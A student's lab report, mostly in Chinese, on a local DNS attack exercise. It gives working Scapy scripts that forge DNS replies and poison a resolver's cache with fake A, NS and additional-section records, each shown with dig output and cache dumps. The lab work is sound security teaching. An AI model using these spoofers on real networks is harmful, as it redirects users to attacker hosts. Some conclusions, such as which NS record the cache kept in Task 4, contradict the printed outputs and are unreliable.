Local DNS Attack Lab

57118203 陈萱妍

Testing the DNS Setup

Get the IP address of ns.attacker32.com.

查看容器列表。

```
[07/24/21]seed@VM:~/.../volumes$ dockps
f99a3ff0fc6c  local-dns-server-10.9.0.53
e4d623a652d1  attacker-ns-10.9.0.153
97ce649727b4  seed-router
7d79b7110cec  user-10.9.0.5
25ece1453579  seed-attacker
```

使用 dig ns.attacker32.com 命令查询地址。

```
root@7d79b7110cec:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7854
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 74089c8da420166c0100000060fbbef280453d28b94b67f3 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 07:19:14 UTC 2021
;; MSG SIZE  rcvd: 90
```

可观察到记录显示域名指向 ip 地址 10.9.0.153。

查看攻击者域名服务器上的设置文件。

```
 8
 9 @       IN      NS    ns.attacker32.com.
10
11 @       IN      A     10.9.0.180
12 www     IN      A     10.9.0.180
13 ns      IN      A     10.9.0.153
14 *       IN      A     10.9.0.100
```

可观察到记录中的 ip 地址与文件中的 ip 地址一致，说明 DNS 配置正确。

Get the IP address of www.example.com.

使用 dig www.example.com 命令查询地址。

```
root@7d79b7110cec:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 5495
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: e88872d69a70d4b50100000060fc37bcbe821b044b572b4b (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; Query time: 203 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 15:54:37 UTC 2021
;; MSG SIZE  rcvd: 72
```

使用 dig @ns.attacker32.com www.example.com 命令查询地址。

```
root@7d79b7110cec:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28534
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: dc42dcbb02703df20100000060fc37ee506522bfca4f89eb (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 4 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Sat Jul 24 15:55:26 UTC 2021
;; MSG SIZE  rcvd: 88
```

可观察到两次查询得到的 ip 地址不同，第一个命令直接从官方域名服务器获取信息，第二个命令是从 ns.attacker32.com 获取信息。
DNS 缓存中毒攻击使受害者向 ns.attacker32.com 询问 www.example.com 的 IP 地址。如果攻击成功，使用户运行第一个 dig 命令从攻击者那里得到假的结果，而不是从域的合法域名服务器上得到真实的结果。

Task 1: Directly Spoofifing Response to User

在本地 DNS 服务器 10.9.0.53 上使用命令 tc qdisc add dev eth0 root netem delay 200ms，增加延迟 200ms，使伪造回复比合法回复传回速度更快。

```
root@f99a3ff0fc6c:/# tc qdisc add dev eth0 root netem delay 200ms
```

在攻击者主机上查看 10.9.0.0/24 网段的端口名称。

```
br-61ae8d345de8: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.1  netmask 255.255.255.0  broadcast 10.9.0.255
        inet6 fe80::42:90ff:fe6e:b5f  prefixlen 64  scopeid 0x20<link>
        ether 02:42:90:6e:0b:5f  txqueuelen 0  (Ethernet)
        RX packets 32  bytes 1936 (1.9 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 35  bytes 3636 (3.6 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

根据查询到的端口名称编写代码。

```
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
  if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.4')
    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
  ancount=1, nscount=0, arcount=0,an=Anssec)
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

f = 'udp and src host 10.9.0.5 and dst port 53'
pkt = sniff(iface='br-61ae8d345de8', filter=f, prn=spoof_dns)
```

对受害者主机发起攻击，让受害者将 www.example.com 的 ip 地址解析为 1.2.3.4。

该程序捕获用户发出的 DNS 请求，然后返回一个伪造的 DNS 响应。伪造的 DNS 响应在真正的 DNS 响应到达用户主机前到达，用户就会接受伪造信息。

代码中设置过滤器只捕获源 ip 地址为用户主机、目的端口为 53 的 udp 报文，即用户发送给域名服务器的 DNS 请求。将源 ip 地址和目的 ip 地址、源端口和目的端口颠倒构造 DNS 包，作为 DNS 响应报文发送给用户主机，使用户接受伪造的 DNS 信息。

使用命令 rndc flush 刷新本地 DNS 服务器缓存。

```
root@f99a3ff0fc6c:/# rndc flush
```

在受害者主机上使用命令 dig www.example.com 查看攻击前的 DNS 信息。

```
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 2151 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
```

再次刷新本地 DNS 服务器缓存，在攻击者主机上运行程序。在受害者主机上使用命令 dig www.example.com 查看攻击时的 DNS 信息。

```
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; Query time: 80 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 16:07:00 UTC 2021
;; MSG SIZE  rcvd: 64
```

关闭攻击程序，再次使用命令 dig www.example.com 查看 DNS 信息。

```
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 2151 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
```

可观察到攻击后 www.example.com 指向的 ip 地址发生改变，受害者错误地将 www.example.com 的 ip 地址解析为攻击者伪造的地址 1.2.3.4，攻击成功。攻击停止后，ip 地址恢复为原本的正确地址。

Task 2: DNS Cache Poisoning Attack – Spoofifing Answers

编写如下代码。

```python
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.4')
    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
  ancount=1, nscount=0, arcount=0,an=Anssec)
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)
f = 'udp and dst port 53'
pkt = sniff(iface='br-61ae8d345de8', filter=f, prn=spoof_dns)
```

伪造其他域名服务器发送给本地域名服务器的 DNS 响应，伪造的信息将会在本地服务器 的缓存中保存一段时间，使得攻击者只要发送一次伪造响应，在缓存信息过期之前都有攻击效果。

使用命令 rndc flush 刷新本地 DNS 服务器缓存。在受害者主机上输入命令 dig www.example.com。

```
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86276   IN      A       93.184.216.34

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun Jul 25 06:37:00 UTC 2021
;; MSG SIZE  rcvd: 88
```

在本地 DNS 服务器上使用命令 rndc dumpdb -cache 将缓存导入一个文件中，输入 cat /var/cache/bind/dump.db|grep example 查看该文件。

```
root@f99a3ff0fc6c:/# rndc dumpdb -cache
root@f99a3ff0fc6c:/# cat /var/cache/bind/dump.db|grep example
example.com.            777579  NS      a.iana-servers.net.
www.example.com.        691181  A       93.184.216.34
                                        20210810203212 20210720171117 21664 examp
le.com.
```

可查找到如图内容。

刷新本地 DNS 服务器缓存，在攻击者主机上运行攻击程序对本地 DNS 服务器发起攻击，通过劫持对话，让本地 DNS 服务器把 www.example.com 的 ip 地址解析为 1.2.3.4。

在受害者主机上使用命令 dig www.example.com 查看攻击时的 DNS 信息。

```
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; Query time: 32 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun Jul 25 06:37:22 UTC 2021
;; MSG SIZE  rcvd: 64
```

停止攻击，再次查看 DNS 信息。

```
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259095  IN      A       1.2.3.4

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun Jul 25 06:39:08 UTC 2021
;; MSG SIZE  rcvd: 88
```

可观察到执行一次攻击后停止攻击仍能维持攻击效果。

查看本地 DNS 服务器的缓存。

```
root@f99a3ff0fc6c:/# rndc dumpdb -cache
root@f99a3ff0fc6c:/# cat /var/cache/bind/dump.db|grep example
_.example.com.          863943  A       1.2.3.4
www.example.com.        863943  A       1.2.3.4
```

可观察到伪造的 DNS 信息已存储在缓存中。说明 DNS 缓存中毒攻击成功。

Task 3: Spoofifing NS Records

编写如下代码。

```python
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
  if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.4')
    NSsec1=DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='ns.attacker32.com')
    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1,
  nscount=1, arcount=0,an=Anssec,ns=NSsec1)
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)
f = 'udp and dst port 53'
pkt = sniff(iface='br-61ae8d345de8', filter=f, prn=spoof_dns)
```

增加一条 NS 记录，当其保存在缓存中时，ns.attacker32.com 将被用作名称服务器，让 example.net 域名下的地址都指向 ns.attacker32.com 域名，以便将来查询 example.com 域中的任何主机名。使一次攻击可以影响整个域。

刷新本地 DNS 服务器缓存，在攻击者主机上运行攻击程序，在受害者主机上使用命令 dig www.example.com 查看攻击时的 DNS 信息。

```
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.

;; Query time: 120 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun Jul 25 06:45:00 UTC 2021
;; MSG SIZE  rcvd: 106
```

可观察到该地址指向 ns.attacker32.com 域名。

在本地 DNS 服务器上使用命令 rndc dumpdb -cache 将缓存导入一个文件中，输入 cat /var/cache/bind/dump.db|grep example 查看该文件。

```
root@f99a3ff0fc6c:/# rndc dumpdb -cache
root@f99a3ff0fc6c:/# cat /var/cache/bind/dump.db|grep example
example.com.            777561  NS      ns.attacker32.com.
www.example.com.        863963  A       1.2.3.4
```

说明攻击成功，已成功对域名 www.example.com 进行污染。

刷新本地 DNS 服务器缓存，在受害者主机上使用命令 dig mail.example.com 查询 DNS 信息。

```
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; AUTHORITY SECTION:
example.com.            3535    IN      SOA     ns.icann.org. noc.dns.icann.org. 2021072001 7200
3600 1209600 3600
```

刷新本地 DNS 服务器缓存，在攻击者主机上运行攻击程序，在受害者主机上使用命令 dig mail.example.com 查看攻击时的 DNS 信息。

```
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.4

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.

;; Query time: 68 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun Jul 25 06:46:34 UTC 2021
;; MSG SIZE  rcvd: 108
```

在本地 DNS 服务器上使用命令 rndc dumpdb -cache 将缓存导入一个文件中，输入 cat /var/cache/bind/dump.db|grep example 查看该文件。

```
root@f99a3ff0fc6c:/# rndc dumpdb -cache
root@f99a3ff0fc6c:/# cat /var/cache/bind/dump.db|grep example
example.com.            777484  NS      ns.attacker32.com.
mail.example.com.       863976  A       1.2.3.6
www.example.com.        863886  A       1.2.3.4
```

可观察到攻击成功，ns 记录也在缓存中，已成功完成对域名 example.com 的污染。

Task 4: Spoofifing NS Records for Another Domain

编写如下代码。

```
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
  if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.4')
    NSsec1 = DNSRR(rrname='example.com', type='NS',ttl=259200, rdata='ns.attacker32.com')
    NSsec2 = DNSRR(rrname='google.com', type='NS',ttl=259200, rdata='ns.attacker32.com')
    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1,
  nscount=2, arcount=0,an=Anssec,ns=NSsec1/NSsec2)
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)
f = 'udp and dst port 53'
pkt = sniff(iface='br-61ae8d345de8', filter=f, prn=spoof_dns)
```

增加一条 NS 记录，使 google.com 域名下的地址都指向 ns.attacker32.com 域名。

使用命令 rndc flush 刷新本地 DNS 服务器缓存。在攻击者主机上运行攻击程序，在受害者主机上输入命令 dig www.example.com。

```
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.
google.com.             259200  IN      NS      ns.attacker32.com.

;; Query time: 160 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun Jul 25 07:17:56 UTC 2021
;; MSG SIZE  rcvd: 147
```

可观察到增加了一条权威字段记录。

在本地 DNS 服务器上使用命令 rndc dumpdb -cache 将缓存导入一个文件中，输入 cat /var/cache/bind/dump.db|grep -e example -e google 查看该文件。

```
root@f99a3ff0fc6c:/# cat /var/cache/bind/dump.db|grep -e example -e google
_.example.com.          863994  A       1.2.3.4
www.example.com.        863995  A       1.2.3.4
google.com.             863994  NS      ns.attacker32.com.
```

可观察到缓存中只有 example.com 的 ns 记录。

替换代码中设置的两条 ns 的顺序。
替换前：

```
NSsec1 = DNSRR(rrname='example.com', type='NS',ttl=259200, rdata='ns.attacker32.com')
NSsec2 = DNSRR(rrname='google.com', type='NS',ttl=259200, rdata='ns.attacker32.com')
```

替换后：

```
NSsec1 = DNSRR(rrname='google.com', type='NS',ttl=259200, rdata='ns.attacker32.com')
NSsec2 = DNSRR(rrname='example.com', type='NS',ttl=259200, rdata='ns.attacker32.com')
```

使用命令 rndc flush 刷新本地 DNS 服务器缓存。在攻击者主机上运行攻击程序，在受害者主机上输入命令 dig www.example.com。

```
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; AUTHORITY SECTION:
google.com.             259200  IN      NS      ns.attacker32.com.
example.com.            259200  IN      NS      ns.attacker32.com.

;; Query time: 144 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun Jul 25 07:21:09 UTC 2021
;; MSG SIZE  rcvd: 147
```

在本地 DNS 服务器上使用命令 rndc dumpdb -cache 将缓存导入一个文件中，输入 cat /var/cache/bind/dump.db|grep -e example -e google 查看该文件。

```
root@f99a3ff0fc6c:/# cat /var/cache/bind/dump.db|grep -e example -e google
example.com.            863996  NS      ns.attacker32.com.
_.example.com.          863996  A       1.2.3.4
www.example.com.        863996  A       1.2.3.5
```

可观察到缓存中只有 google.com 的 ns 记录。推测缓存中只保存一条权威字段的 ns 记录，按照排列顺序的第一个进行保存。

Task 5: Spoofifing Records in the Additional Section

编写如下代码。

```
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
  if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.4')
    NSsec1 = DNSRR(rrname='example.com', type='NS',ttl=259200, rdata='ns.attacker32.com')
    NSsec2 = DNSRR(rrname='example.com', type='NS',ttl=259200, rdata='ns.example.com')
    Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',ttl=259200, rdata='1.2.3.4')
    Addsec2 = DNSRR(rrname='ns.example.com', type='A',ttl=259200, rdata='5.6.7.8')
    Addsec3 = DNSRR(rrname='www.facebook.com', type='A',ttl=259200, rdata='3.4.5.6')
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
  qdcount=1,ancount=1,nscount=2,arcount=3,an=Anssec,ns=NSsec1/NSsec2,ar=Addsec1/Addsec2/ Addsec3)
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)
f = 'udp and dst port 53'
pkt = sniff(iface='br-61ae8d345de8', filter=f, prn=spoof_dns)
```

添加三条附加字段内容。

使用命令 rndc flush 刷新本地 DNS 服务器缓存。在攻击者主机上运行攻击程序，在受害者主机上输入命令 dig www.example.com。

```
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.
example.com.            259200  IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.attacker32.com.      259200  IN      A       1.2.3.4
ns.example.com.         259200  IN      A       5.6.7.8
www.facebook.com.       259200  IN      A       3.4.5.6

;; Query time: 116 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun Jul 25 07:27:52 UTC 2021
;; MSG SIZE  rcvd: 240
```

在本地 DNS 服务器上使用命令 rndc dumpdb -cache 将缓存导入一个文件中，输入 cat /var/cache/bind/dump.db|grep -e example -e attacker -e facebook 查看该文件。

```
root@f99a3ff0fc6c:/# rndc dumpdb -cache
root@f99a3ff0fc6c:/# cat /var/cache/bind/dump.db|grep -e example -e attacker -e facebook
example.com.            777574  NS      ns.example.com.
                        777574  NS      ns.attacker32.com.
ns.example.com.         863976  A       5.6.7.8
www.example.com.        863976  A       1.2.3.4
```

可观察到，缓存中只保存了 ns.attacker32.com 和 ns.example.com 的信息，未保存 www.facebook.com 的记录。这是由于附加字段 additional 中的记录 只有与权威字段 authority 中条目相关时，才会被存入到 dns 缓存中。